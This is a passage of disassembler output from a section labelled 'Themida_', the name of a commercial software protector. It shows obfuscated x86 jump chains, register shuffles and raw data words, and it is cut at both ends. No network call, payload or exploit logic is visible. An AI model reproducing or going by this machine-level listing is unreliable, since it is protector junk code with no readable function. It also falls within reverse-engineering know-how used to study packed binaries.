5D595551h, 0FF829FE9h, 0F02BAFFh, 0C2817D34h, 7F463F86h dd 0E902E2C1h, 0FFFFCF3Ah ; --------------------------------------------------------------------------- loc_55D0B8: ; CODE XREF: Themida_:0055E260j mov cl, 0A3h mov ah, cl pop ecx or ah, 0BFh dec ah or ah, 0B4h sub esp, 4 mov [esp], edx mov dl, 10h jmp loc_566A36 ; --------------------------------------------------------------------------- dw 3C89h dd 4B4E924h, 0E9530000h, 2F11h, 24048F5Dh, 24248Bh, 0B65266C3h dd 6146E942h, 0EE81FFFFh, 365028D8h, 1663EE81h, 0D6F771A2h dd 9AEE8146h, 0E9147C19h, 0FFFFA96Dh, 0C4D0C181h, 0CF01D65Eh dd 0FFF9E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D119: ; CODE XREF: Themida_:00557E9Ej sub edx, 0B25A7942h sub ebx, edx jmp loc_560CD0 ; --------------------------------------------------------------------------- loc_55D126: ; CODE XREF: Themida_:005604F2j pop ecx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edx push esp jmp loc_55A14A ; --------------------------------------------------------------------------- loc_55D13D: ; CODE XREF: Themida_:00556735j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_558C28 ; --------------------------------------------------------------------------- loc_55D154: ; CODE XREF: Themida_:0056554Dj pop edi neg edx jmp loc_566919 ; --------------------------------------------------------------------------- loc_55D15C: ; CODE XREF: Themida_:00557CB6j pop ebx push 2A72h mov [esp], ebp mov ebp, 1C8043D9h push 5229h mov [esp], edx jmp loc_565540 ; --------------------------------------------------------------------------- db 89h dd 0A4E95FFAh, 1FFFFC7h, 0DA895EF3h, 30A3E9h, 24343100h dd 5C243433h, 51E4E9h, 0EB815E00h, 7BFD74EAh, 0FFAC13E9h dd 0F5815EFFh, 53564286h, 3601C581h, 0C7815CE2h, 57504511h dd 8904EC83h, 0B6E9241Ch db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1BF: ; CODE XREF: Themida_:0055DEB9j sub eax, 15DAB29Fh jmp loc_55D78C ; --------------------------------------------------------------------------- loc_55D1C9: ; CODE XREF: Themida_:0055C4E1j mov edx, esp add edx, 4 add edx, 4 jmp loc_5549ED ; --------------------------------------------------------------------------- loc_55D1DC: ; CODE XREF: Themida_:00554E6Dj mov eax, 2C8577E5h sub eax, 43EC3C39h add eax, 5E81D620h add ebx, 759B6D97h jmp loc_561A8C ; --------------------------------------------------------------------------- dw 8966h dd 60E9240Ch, 0FF000086h, 0D1683C77h, 8900002Ch, 72BD242Ch dd 8101B472h, 0D5042444h, 290A006Ah, 8104246Ch, 0D504246Ch dd 8B0A006Ah, 0C481242Ch, 4, 0E924048Bh, 0FFFF786Ch, 0FAE9C329h dd 4A0000B8h, 0C281DAF7h, 96609A13h, 8F6BE9h, 48B6600h dd 76E1E924h, 0C1810000h, 4, 4E981h, 0C870000h, 24248B24h dd 0FFEC48E9h, 66F9F6FFh, 66CCB60Fh, 0E90B1368h, 7987h ; --------------------------------------------------------------------------- loc_55D278: ; CODE XREF: Themida_:00559EA3j add eax, edi pop edi push esi jmp loc_5601DC ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 5Fh db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D287: ; CODE XREF: Themida_:005571C0j add ebp, 68554681h xor ebp, 23D72A0Dh mov esi, ebp pop ebp sub ebx, 137977C5h add ebx, esi jmp loc_56258F ; --------------------------------------------------------------------------- db 5Dh dd 8BE9F701h, 8B00006Bh, 0E92424h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D2B3: ; CODE XREF: Themida_:0055B8DDj add ecx, 4 xchg ecx, [esp] pop esp push 504Dh jmp loc_55C4DE ; --------------------------------------------------------------------------- loc_55D2C4: ; CODE XREF: Themida_:00554005j mov ebx, edi pop edi inc ebx push ecx mov ecx, 0C5ADF164h jmp loc_5572A0 ; --------------------------------------------------------------------------- loc_55D2D3: ; CODE XREF: Themida_:00568363j sub esi, 5F887324h jmp loc_55BA9A ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8704h, 2434895Ch, 0FF9B36E9h, 243C33FFh, 33243C31h dd 248B243Ch, 0A1B9E924h, 0EC680000h, 89000065h, 0D8E92434h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D30B: ; CODE XREF: Themida_:005592F4j mov ebx, edi pop edi xor ebx, esi mov esi, [esp] add esp, 4 or ebx, 5A9540BBh push edx mov edx, 28C6F99h sub ebx, edx pop edx jmp loc_5578D5 ; --------------------------------------------------------------------------- loc_55D32D: ; CODE XREF: Themida_:0056417Aj mov ebp, 28CC5F3Bh sub ebp, 28CC5F37h add edx, ebp pop ebp sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_567DE4 ; --------------------------------------------------------------------------- db 89h, 0CDh, 59h dd 4246C31h, 0FFB4F6E9h, 14CF81FFh, 0F72E6D6Ah, 0EFC147DFh dd 0ACBE5607h, 0C10AE970h, 0EE8105EEh, 9E7ACEh, 54FDC781h dd 0F72929DFh, 54FDEF81h, 295E29DFh, 2434FFFEh, 4C4815Fh dd 81000000h, 85B9EC6h, 0E9F031D5h, 7533h, 2C11BF57h, 0FE89550Ah dd 8638E95Fh, 0DDF60000h, 5CE9DDF6h, 89000049h, 405E0h dd 0C0830000h, 24048704h, 1C19E95Ch, 0C870000h, 0F7565E24h dd 555E241Ch, 67586BDh, 0E3ED8103h, 812BED2Ah, 0B166EEEDh dd 5DEE3145h, 0B034F405h, 2DF00102h, 2B034F4h, 0E924348Bh dd 89D5h, 0EB81EB01h, 4000CE2h, 57C3815Dh, 17B6A2Ah, 57EB81CBh dd 0E97B6A2Ah, 0FFFF824Ch ; --------------------------------------------------------------------------- loc_55D418: ; CODE XREF: Themida_:0055CAF7j pop eax xchg eax, [esp] jmp loc_562792 ; --------------------------------------------------------------------------- db 1, 0F2h, 0FFh dd 348B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_566920 ; --------------------------------------------------------------------------- loc_55D431: ; CODE XREF: Themida_:00558092j add edx, esi pop esi push 1067h jmp loc_55DDE5 ; --------------------------------------------------------------------------- dw 9BDh dd 815A4228h, 861D33E5h, 4FC2E90Eh, 295C0000h, 701DE9F0h dd 81510000h, 4ECh, 241C8900h, 0D988E388h, 59CE885Bh, 8124048Bh dd 4C4h, 0F627E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D476: ; CODE XREF: Themida_:0055A1E8j not edi jmp loc_554DC5 ; --------------------------------------------------------------------------- db 66h, 0BEh, 0C7h dd 5CC1E905h, 0F729FFFFh, 0E9D7F75Eh, 646h, 15EF129h, 0A4C181F1h dd 0FF33CE3Ch, 835E2434h, 0CE2904C4h, 0E9240C8Bh, 102Ch dd 4C481h, 0C1810000h, 3D986BB1h, 0BE56D101h, 3D986BB1h dd 5A5EF129h, 0E9240C87h, 795Dh, 42BB535Ah, 0F705D009h dd 44C381D3h, 811ACE79h, 126684C3h, 0B3EB811Ah, 810FE573h dd 0A90A87C3h, 0FCEB810Eh, 291F1729h, 6CE95BDEh, 31FFFFF3h dd 895759C8h, 6E6852E7h, 8B5A307Eh, 84E92414h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D50F: ; CODE XREF: Themida_:005613B1j mov [esp], ebx mov ebx, 7FCF362Ch mov esi, 0FC68EB62h add esi, ebx pop ebx not esi neg esi or esi, 13694109h shl esi, 4 jmp loc_568A1B ; --------------------------------------------------------------------------- db 56h, 54h, 8Bh dd 0C4832434h, 4B85004h, 0E9000000h, 66B7h, 57D668h, 240C8900h dd 0FFEF29E9h, 81EBD1FFh, 0BFF9C6EBh, 0DEC7813Ch, 1019938h dd 0DEEF81DFh, 8B019938h, 88E9241Ch, 66FFFF6Bh, 52D5F659h dd 0CA8027B2h, 0C0C2FE34h, 0D2F605E2h, 0E908EAC0h, 347Dh dd 0F04DE955h, 84BFFFFFh, 0E95FFB3Ah, 0FFFF63EDh ; --------------------------------------------------------------------------- loc_55D598: ; CODE XREF: Themida_:005641CBj sub ebp, ebx pop ebx xchg ebp, [esp] pop esp jmp loc_5617A2 ; --------------------------------------------------------------------------- dd 0FD005DB7h, 52665B66h, 4B8C68h, 240C8900h, 0BB35366h dd 5B66D988h, 0CA3021B2h, 9098E9h, 0C0CB8100h, 0C1534431h dd 0E3C105EBh, 4C38107h, 122A631h, 0EA815BDAh, 4, 31241433h dd 0D5E92414h, 6600005Ch, 0E90002BAh, 0FFFF60F2h, 0F581DDF7h dd 0C240C571h, 8BE9E921h, 810000A1h, 0A7D2404h, 34FF5EF0h dd 0CEE95824h, 30FFFF81h, 0C5805AD5h, 0E9EA081Eh, 644Fh dd 8324348Bh, 0D90104C4h, 0FFEE981h, 0C181480Fh, 4CC35BC5h dd 57241C8Bh, 0C7815F54h, 4, 0FFB00BE9h, 0FAF781FFh, 0E9728183h dd 50Ah, 0E9241C89h, 0FFFFA209h, 685DE989h, 3E53h, 0BB241C89h dd 24981B5Fh, 5FC181h, 6AE93CA1h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D673: ; CODE XREF: Themida_:0055AFA2j sub ebp, 4 jmp loc_558BA2 ; --------------------------------------------------------------------------- loc_55D67B: ; CODE XREF: Themida_:005636C1j sub ebp, esi pop esi sub ebp, 3101274Dh add ebp, edi add ebp, 3101274Dh add ebp, 49673F95h push dword ptr [esp] jmp loc_55B981 ; --------------------------------------------------------------------------- aBcpa db 'æPa;',0 dd 0ABAEE81h, 0F301A37Fh, 50C6815Eh, 0E969A135h, 0FFFF8714h ; --------------------------------------------------------------------------- loc_55D6B4: ; CODE XREF: Themida_:0056088Dj mov esp, [esp] jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_55D6BC: ; CODE XREF: Themida_:00562B5Ej not eax jmp loc_564963 ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 4C381h, 1C870000h, 81665C24h, 833DCBF2h dd 0A7E904ECh, 550000B4h, 89525D54h, 4C281E2h, 0E9000000h dd 0FFFF854Bh ; --------------------------------------------------------------------------- loc_55D6F4: ; CODE XREF: Themida_:0055882Ej add eax, ebx add eax, 3230378Dh pop ebx xchg eax, [esp] pop esp add eax, edi mov ecx, [eax] jmp loc_5685E8 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0CDE9h, 74FF5100h, 0C8B0424h, 0F015E924h, 0BB53FFFFh dd 2, 89BD5557h, 0BF61C732h, 1774749Bh, 515DEF31h, 385920B9h dd 59CF3116h, 45AAE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D742: ; CODE XREF: Themida_:00564787j xor ebx, 9C61BC19h mov eax, ebx jmp loc_5545D4 ; --------------------------------------------------------------------------- db 57h dd 0BD661CBFh, 0C1D7F743h, 0E7C104E7h, 7EFC103h, 0C781DFF7h dd 4299E7h, 875FF901h, 90E9240Ch db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D773: ; CODE XREF: Themida_:005577B9j jz loc_559F74 push ebp push esp jmp loc_55770E ; --------------------------------------------------------------------------- dd 8324348Bh, 0E95804C4h, 0FFFF5919h ; --------------------------------------------------------------------------- loc_55D78C: ; CODE XREF: Themida_:0055D1C4j sub ebp, eax pop eax pop ebx xor ebp, [esp] jmp loc_564EA9 ; --------------------------------------------------------------------------- loc_55D798: ; CODE XREF: Themida_:0055620Fj push esp pop esi jmp loc_568763 ; --------------------------------------------------------------------------- loc_55D79F: ; CODE XREF: Themida_:0055A2DEj push edi jmp loc_561C2F ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FF95E2E9h, 4055FFFh, 87000000h, 248B2404h, 83E95224h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D7BF: ; CODE XREF: Themida_:00566FDAj add [eax], ecx pop ecx pop eax jmp loc_553DD7 ; --------------------------------------------------------------------------- dd 8EDBB66h, 0FF93F8E9h, 0F18166FFh, 89660A73h, 0C894E9CAh dd 0C481FFFFh, 4, 233FBB53h, 0D3F7084Ch, 416DE9h, 4896600h dd 0F7B86624h, 0C381665Dh, 4E93693h, 6600002Ah, 57240C8Bh dd 3EB6E9h db 0 ; --------------------------------------------------------------------------- loc_55D80D: ; CODE XREF: Themida_:00556BC4j sub dword ptr [esp+4], 3B3587Ah sub dword ptr [esp+4], 0A120667h sub dword ptr [esp+4], 66294E9Dh jmp loc_55DD7C ; --------------------------------------------------------------------------- dw 68BBh dd 50109344h, 0C689D889h, 8540E958h, 34890000h, 4BE24h dd 0F3010000h, 4C3815Eh, 57000000h, 64F0E954h, 4050000h dd 0E9000000h, 94D0h, 0E9243C33h, 0FFFFDCC6h, 94E9CA87h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D86B: ; CODE XREF: Themida_:0055F3C6j push ebx push 65F16C25h pop ebx add ebx, 0FFFFFFFFh push esi mov esi, 392C386Ah xor esi, 4D7B1FC2h push ecx mov ecx, 4AAB6A4Bh and esi, ecx pop ecx push ecx jmp loc_565AFC ; --------------------------------------------------------------------------- db 0C1h dd 814506E5h, 550ECEEDh, 73A5E91Fh, 0E281FFFFh, 355A0D65h dd 0E94ADAF7h, 0FFFFEF51h ; --------------------------------------------------------------------------- loc_55D8B0: ; CODE XREF: Themida_:005610ADj xchg ebp, [esp] pop esp jmp loc_5654CB ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 24E9241Ch, 89000079h, 4C381E3h, 0E9000000h dd 0FFFF6989h, 8704E883h, 895C2404h, 2C812434h, 815EFA24h dd 38428F3Dh, 0FA384281h, 0E93D815Eh, 0FFFF94D0h, 8105E6C1h dd 4517FCF6h, 2C815646h, 0EE4C6424h, 0C5815D62h, 62EE4C64h dd 497E9h, 0BC685100h, 8900002Dh, 0B9512424h, 4, 4246C81h dd 13CE0EFAh, 4244C01h, 0EFAB951h, 4C0113CEh, 59590824h dd 0E9240C8Bh, 0FFFF5E8Ch, 4C381h, 0C3830000h, 6EA0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D94E: ; CODE XREF: Themida_:0055DCDEj sub edx, 0EC0FEA1Fh sub ebp, edx jmp loc_566FDF ; --------------------------------------------------------------------------- db 81h dd 4C2h, 42F8E900h, 5C290000h, 0BD550424h, 3F8B239Eh, 8246C81h dd 72835910h, 8244481h, 20E75271h, 8246C29h, 8246C81h dd 20E75271h, 8244481h, 72835910h, 5097E9h, 4C38100h, 0E9000000h dd 0FFFFF93Ah ; --------------------------------------------------------------------------- loc_55D9A4: ; CODE XREF: Themida_:00565A72j xchg ebp, [esp] pop esp jmp loc_55F3B0 ; --------------------------------------------------------------------------- loc_55D9AD: ; CODE XREF: Themida_:0055B994j mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, 49360CC5h shr ecx, 8 shr ecx, 8 dec ecx shl ecx, 8 xor ecx, offset dword_493504 add ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_55901F ; --------------------------------------------------------------------------- dd 0FF56BCE9h, 24048BFFh, 4EC81h, 15E90000h, 5000094h dd 31DA6D8Ch, 0AC7DE9h, 1EB8300h, 0FF8FA1E9h, 74FF57FFh dd 3C8B0424h, 4C48324h, 5C24048Fh, 353F68h, 84BFE900h dd 2C890000h, 4EC8124h, 54000000h, 5224048Fh, 4EC81h, 42E90000h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA3B: ; CODE XREF: Themida_:00554E06j push esi mov esi, 579F1FD2h jmp loc_559570 ; --------------------------------------------------------------------------- loc_55DA46: ; CODE XREF: Themida_:00567A26j mov edx, ecx jmp loc_553812 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 2C3h, 241C3300h, 33241C31h, 7BE9241Ch, 56FFFF7Eh dd 0C35BC5BEh, 5EF1294Ch, 551068h, 24348900h, 0F0FFEBEh dd 0E9F10148h, 0FFFFFB9Ch, 2086859h, 4890000h, 0B45B824h dd 4EE906A4h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA97: ; CODE XREF: Themida_:00565282j pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push 0E27h mov [esp], ebx push 1B3Ch mov [esp], ebp mov ebp, 1 jmp loc_5551F3 ; --------------------------------------------------------------------------- loc_55DABB: ; CODE XREF: Themida_:00558EC9j mov bl, 0BEh jmp loc_555427 ; --------------------------------------------------------------------------- dw 1489h dd 3AA06824h, 815A79B5h, 61192CE2h, 98D5E974h, 0F781FFFFh dd 0C4A9DDCDh, 0E95FFA29h, 0FFFFC3FAh, 0DD3F56BEh, 0CCE68161h dd 0C124FA68h, 31E905EEh, 0FF00003Ch, 0D6E92434h, 5EFFFF86h dd 0FFE326E9h, 240C87FFh, 8BDA295Ch, 0DAE9241Ch, 31FFFF7Ah dd 0D0015DEAh, 8124148Bh, 4C4h, 24043300h, 0E9240431h dd 0FFFFDC09h, 0BD555A54h, 4, 3EE9EA01h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB3B: ; CODE XREF: Themida_:00560A5Bj sub bl, 66h sub bl, 2Ch sub bl, 33h push eax jmp loc_5588BE ; --------------------------------------------------------------------------- dw 0D530h dd 53C5FE5Ah, 0B321B551h, 72B1E993h, 0F829FFFFh, 482E055Fh dd 0D26873EEh, 89000019h, 55E92434h, 58FFFFB1h, 6389B850h dd 4FE95242h, 0FEFFFF5Dh, 0D1EF80CFh, 0FF79BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DB85: ; CODE XREF: Themida_:005665E0j jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_55DB8A: ; CODE XREF: Themida_:00561831j shr ecx, 1 xor ecx, 17BA932Ah sub ebx, ecx pop ecx push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp jmp loc_556404 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 815C2404h, 4ECh, 243C8900h, 42474FFh, 0FFE7AAE9h dd 4BAFFh, 0D6010000h, 74FF565Ah, 348B0424h, 4C48124h dd 8F000000h, 0E95C2404h, 0FFFF54B9h ; --------------------------------------------------------------------------- loc_55DBEC: ; CODE XREF: Themida_:00564BFAj push ebx jmp loc_560C36 ; --------------------------------------------------------------------------- dw 0F58h dd 34FFC0B6h, 0FA05E987h, 5E66FFFFh, 0A9B2E9h, 240C8900h dd 2434FF54h, 0E0895059h, 405h, 40500h, 4870000h, 0C1815C24h dd 4, 0D8E95053h, 89FFFF74h, 0D5B6E9E6h, 0EA81FFFFh, 745F3789h dd 0C281C201h, 745F3789h, 0E40DE958h, 565CFFFFh, 975EB468h dd 0BA525E49h, 0B10067h, 192DE281h, 0C2811BFEh, 40A82DF9h dd 815AD621h, 1EEh, 6CD7E900h, 8158FFFFh, 4ECh, 0CF08E900h dd 8B5FFFFFh, 0C6E92434h, 0BAFFFFA1h, 63F75C3Eh, 4261EA81h dd 8068368Eh, 0E9000069h, 0FFFF7CA3h ; --------------------------------------------------------------------------- loc_55DC98: ; CODE XREF: Themida_:00563A11j and eax, esi push dword ptr [esp] mov esi, [esp] push edi mov edi, esp jmp loc_55526F ; --------------------------------------------------------------------------- dd offset dword_493504+9464h dd 24148900h, 0FF6555E9h, 218E05FFh, 34FF0566h db 24h, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55BE94 ; --------------------------------------------------------------------------- dw 34FFh dd 24348B24h, 0FF90B5E9h, 6F480FFh, 7AE9E600h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCDB: ; CODE XREF: Themida_:00564320j shl edx, 3 jmp loc_55D94E ; --------------------------------------------------------------------------- db 55h dd 2B951h, 0CD890000h, 3A1CE9h, 81E18900h, 4C1h, 4C18100h dd 0E9000000h, 5513h, 4FE5252Dh, 8BE98133h, 29077C5Eh dd 8BC181C1h, 0FF077C5Eh, 81582434h, 4C4h, 21556800h, 0C890000h dd 2474FF24h, 48F5904h, 24248B24h, 24048966h, 0FFC79BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD3D: ; CODE XREF: Themida_:0056358Fj mov [esp], ecx mov ecx, 2F7C3103h push ebp mov ebp, 2515290Dh push ebx mov ebx, 3B206980h push edi jmp loc_55CA40 ; --------------------------------------------------------------------------- dd offset dword_493504+1D464h align 4 dd 51240489h, 0C37B850h, 81E969C6h, 29000058h, 2434FFD0h dd 7F38E9h, 0E9516600h, 0FFFFD849h ; --------------------------------------------------------------------------- loc_55DD7C: ; CODE XREF: Themida_:0055D825j sub [esp+4], edx add dword ptr [esp+4], 66294E9Dh add dword ptr [esp+4], 0A120667h push edx mov edx, 3B3587Ah jmp loc_554DE7 ; --------------------------------------------------------------------------- db 5 dd 4, 0E9240487h, 5527h, 5DE8015Eh, 51E9D0F7h, 0C1FFFFFFh dd 0D9F708E9h, 82BD5556h, 0BE5A4F44h, 2C2228CDh, 0DCE9EE31h dd 51FFFFD1h, 0C181E189h, 4, 0E904C183h, 0A168h, 5253DE01h dd 3982E9h db 0 ; --------------------------------------------------------------------------- loc_55DDE5: ; CODE XREF: Themida_:0055D439j mov [esp], eax jmp loc_55389C ; --------------------------------------------------------------------------- db 89h, 0E2h, 0E9h dd 0FFFF5F5Eh ; --------------------------------------------------------------------------- loc_55DDF4: ; CODE XREF: Themida_:00560501j mov ecx, 7CEA2FD2h or esi, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_55BCA7 ; --------------------------------------------------------------------------- loc_55DE18: ; CODE XREF: Themida_:00568641j add ebx, edi pop edi add ebx, 4 jmp loc_564A83 ; --------------------------------------------------------------------------- db 33h dd 685C242Ch, 6401h, 0CCDE9h, 4EC8300h, 0B2241489h, 0E9D1884Ch dd 8188h, 0E9240C8Bh, 0FFFF74B5h, 0F75FFA09h, 0ECBB53DAh dd 0E9743AF6h, 3C89h, 5C241487h, 9E06E957h, 4B6FFFFh, 0E928C680h dd 0FFFF597Dh, 55F06853h, 0C15B37E1h, 814B03E3h, 225E22C3h dd 1D42E924h, 6C810000h, 443C0424h, 7C016999h, 0BA520424h dd 6999443Ch, 8245401h, 8324148Bh, 0FF5F04C4h, 0E95B2434h dd 0FFFF5238h, 53242489h, 2E7C6851h, 0E959720Ah, 4ED0h ; --------------------------------------------------------------------------- loc_55DEB8: ; CODE XREF: Themida_:0056710Bj dec eax jmp loc_55D1BF ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 5C24048Fh, 0A4768h, 241C8900h, 4EC81h, 4890000h dd 88D08824h, 0CFE958C7h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DEE3: ; CODE XREF: Themida_:0056135Fj add ebp, 680B1183h add ebp, ebx sub ebp, 680B1183h jmp loc_566F4C ; --------------------------------------------------------------------------- dw 815Dh dd 26173FC7h, 0DFBD556Ah, 12CA43Dh, 0F399E9EFh, 3C8BFFFFh dd 4C48124h, 52000000h, 2BAh, 5AD30100h, 0E904EC83h, 0FFFF5DC8h ; --------------------------------------------------------------------------- loc_55DF24: ; CODE XREF: Themida_:005688E0j sub esi, edi jmp loc_55B4C1 ; --------------------------------------------------------------------------- db 80h dd 0F180DDE9h, 5AF180BFh, 59CE28h, 24148BF5h, 6604C483h dd 246C8051h, 24E9FF01h, 80FFFFF6h, 0F3006CEBh, 0E96CC380h dd 0FFFF5613h, 0DF05E829h, 56069D75h, 7D32DABEh, 0D5F68173h dd 0E92AE036h, 16D8h, 0DEEE815Eh, 5B1AE46Dh, 1F81EE81h dd 0D62909F8h, 1F81C681h, 0E95A09F8h, 740Ah, 0BEE9D629h dd 8B0000A6h, 0EFE9240Ch db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DF9B: ; CODE XREF: Themida_:0056152Aj mov [esp], edi jmp loc_55B7C7 ; --------------------------------------------------------------------------- db 5Dh dd 8104C483h, 89204EC3h, 4C9DE97Bh, 0C8B0000h, 0E0895024h dd 405h, 0FDD9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DFC2: ; CODE XREF: Themida_:0055E2FAj add edi, eax pop eax xchg edi, [esp] mov esp, [esp] xor eax, edx xor edx, eax xor eax, edx sub esp, 4 mov [esp], edx jmp loc_558CFF ; --------------------------------------------------------------------------- db 42h dd 5142D2F7h, 0A16CCEB9h, 59CA090Bh, 5EA4F281h, 0D0295AD0h dd 0FFC7015Ah, 83582434h, 3C3304C4h, 243C3124h, 8B243C33h dd 0D3662424h, 0E99C2424h, 0FFFF5091h, 501DBA52h, 47BD373Bh dd 0E917AF4Ah, 0FFFFBEE6h ; --------------------------------------------------------------------------- loc_55E024: ; CODE XREF: Themida_:00563825j pop ebx and dl, 5Dh jmp loc_55A124 ; --------------------------------------------------------------------------- loc_55E02D: ; CODE XREF: Themida_:0056251Bj mov [esp], edi jmp loc_559B67 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0F7E90000h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E043: ; CODE XREF: Themida_:00564DF8j push ebp jmp loc_556906 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 405h, 4C08300h, 31240433h, 4332404h, 19685C24h, 8900000Dh dd 2468242Ch, 0FF000000h, 835D2434h, 0BA5204C4h, 37E64150h dd 439AB951h, 0CA01066Ch, 94E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E086: ; CODE XREF: Themida_:005539CAj pop eax jmp loc_561CBA ; --------------------------------------------------------------------------- dd 240C875Dh, 0E389535Ch, 4C381h, 0E9500000h, 9FD7h, 70EDE942h dd 481FFFFh, 424h, 827FE900h, 2C810000h, 25494A24h, 4A055858h dd 8B582549h, 8EE9240Ch, 66FFFF6Ah, 68240C8Bh, 0D34h, 0FFF94DE9h dd 81E289FFh, 4C2h, 4EA8300h, 0E9241487h, 0EB0h ; --------------------------------------------------------------------------- loc_55E0E8: ; CODE XREF: Themida_:00559F50j push 120Ah jmp loc_560C48 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0ADE90000h, 0BD000020h, 7F8E607Bh, 815DE929h dd 503B41F1h, 0A286E912h, 48FFFFFh, 0C565E924h, 0EAC1FFFFh dd 81B7E906h, 815F0000h, 0F71AD9C3h, 5BDF89DDh, 83E9F801h dd 68FFFF5Ah, 4C56h, 52240489h, 8AB0B5B6h, 515AF000h, 0C8000EB1h dd 0FF7409E9h, 4C828FFh, 0FF2B2C4Dh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5546EF ; --------------------------------------------------------------------------- loc_55E165: ; CODE XREF: Themida_:00556930j add ebx, edi mov edi, [esp] jmp loc_55FA9C ; --------------------------------------------------------------------------- aSU db '(ØéÊ“',0 align 2 loc_55E176: ; CODE XREF: Themida_:0056445Ej add ebp, 1E6116BBh jmp loc_567011 ; --------------------------------------------------------------------------- db 5Ch, 5, 0D2h dd 10B8E38h, 38D22DC8h, 34FF0B8Eh, 7F5E924h, 8B660000h dd 0C9682404h, 89000018h, 0FF542434h db 34h, 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_565A6F ; --------------------------------------------------------------------------- db 55h, 57h, 0BFh dd 69520BADh, 9F2524BDh, 5FFD3128h, 0DA1E581h, 5FE90165h dd 0BAFFFFA0h, 431D1712h, 218BE9h db 0 ; --------------------------------------------------------------------------- loc_55E1D9: ; CODE XREF: Themida_:005686DDj mov esp, [esp] jmp loc_567EA0 ; --------------------------------------------------------------------------- db 52h, 0BAh, 2Ch dd 51000000h, 4C13AAB9h, 59CA2960h, 141B68h, 242C8900h dd 311219BDh, 14F75501h, 0EDC15D24h, 97C58102h, 1ECD48Dh dd 60BAE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E212: ; CODE XREF: Themida_:00557EC9j add ebx, 4 push ebp jmp loc_568B59 ; --------------------------------------------------------------------------- dw 8F58h dd 248B2404h, 0A096E924h, 0C181FFFFh, 4, 4C181h, 0C870000h dd 85B2E924h, 23B6FFFFh, 4AE9CE30h, 83FFFFE7h, 0C38604C4h dd 0C386D0F6h, 0A5E9C3FEh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E257: ; CODE XREF: Themida_:005575BEj push eax push 1398h mov [esp], ecx jmp loc_55D0B8 ; --------------------------------------------------------------------------- loc_55E265: ; CODE XREF: Themida_:0055991Ej sub ebx, 760F5254h push eax push esi push 2B6F7390h jmp loc_567F78 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EF8100h, 33000000h, 3C31243Ch, 243C3324h, 8924248Bh dd 74FF241Ch, 1C8B0424h, 0E7895724h, 4C781h, 0C7830000h dd 0A598E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E2AA: ; CODE XREF: Themida_:00563728j add edx, 45C47460h add edx, ebp push ebx jmp loc_562220 ; --------------------------------------------------------------------------- loc_55E2B8: ; CODE XREF: Themida_:00554682j pop eax sub edx, 13C05D6Ch sub ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 2 sub ecx, ebx push dword ptr [esp] jmp loc_55BB84 ; --------------------------------------------------------------------------- db 31h dd 38E9242Ch db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E2EB: ; CODE XREF: Themida_:00560F4Fj push esi 